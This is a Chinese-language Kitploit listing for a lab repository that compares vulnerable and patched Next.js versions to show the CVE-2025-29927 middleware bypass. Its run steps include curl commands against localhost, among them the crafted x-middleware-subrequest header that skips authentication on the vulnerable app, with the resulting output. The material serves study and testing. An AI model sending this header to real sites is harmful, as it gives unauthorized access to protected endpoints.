Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
nextjs-cve-2025-29927 — vulnerable-nextjs-14-CVE-2025-29927 | Kitploit
工具/GitHubGitHub/yeondg/nextjs-cve-2025-29927
Authentication & AuthorizationVulnerability AnalysisWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubyeondg/nextjs-cve-2025-29927

nextjs-cve-2025-29927

vulnerable-nextjs-14-CVE-2025-29927

查看仓库
1年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Next.js CVE-2025-29927 中间件漏洞

该仓库是一个使用 Next.js 15.2.3 和 Next.js 15.1.7 版本比较 CVE-2025-29927 中间件漏洞的 monorepo 项目。

漏洞描述

CVE-2025-29927 是 Next.js 中间件中发现的一个安全漏洞,可以通过使用 x-middleware-subrequest 头绕过认证中间件。 该漏洞影响以下版本:

  • Next.js 15.x < 15.2.3
  • Next.js 14.x < 14.2.25
  • Next.js 13.x < 13.5.9 上述版本已通过更新到相应补丁版本得到修复。

运行方法

  1. 克隆仓库。
  2. 安装依赖:pnpm install
  3. 启动开发服务器:pnpm dev
  4. 访问各个应用
  • 已修复版本 (15.2.3): http://localhost:3000
  • 存在漏洞版本 (15.1.7): http://localhost:3001
  1. 不带令牌访问 /api/protected 端点将被拒绝访问。
root@kitploit:~
$ curl http://localhost:3000/api/protected
// {"error":"Unauthorized"}

$ curl http://localhost:3001/api/protected
// {"error":"Unauthorized"}
  1. 提供有效的令牌即可成功访问受保护的端点。
root@kitploit:~
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/protected
// {"message":"Hello World"}

$ curl -H "Authorization: my-jwt-token-here" http://localhost:3001/api/protected
// {"message":"Hello World"}
  1. 利用漏洞绕过中间件。
root@kitploit:~
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/protected
// {"error":"Unauthorized"}

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/api/protected
// {"message":"Hello World"}

项目结构

root@kitploit:~
nextjs-cve-2025-29927/
├── apps/
│   ├── next15_1_7/  # 存在漏洞版本
│   └── next15_2_3/  # 已修复版本
├── packages/
│   └── ui/          # 共享 UI 组件
└── README.md

参考链接

  • Vercel博客
  • DevStefanCho的YouTube
  • https://hackyboiz.github.io/2025/03/27/bekim/2025-03-27/
  • https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
  • https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
  • https://github.com/lirantal/vulnerable-nextjs-14-CVE-2025-29927
下载工具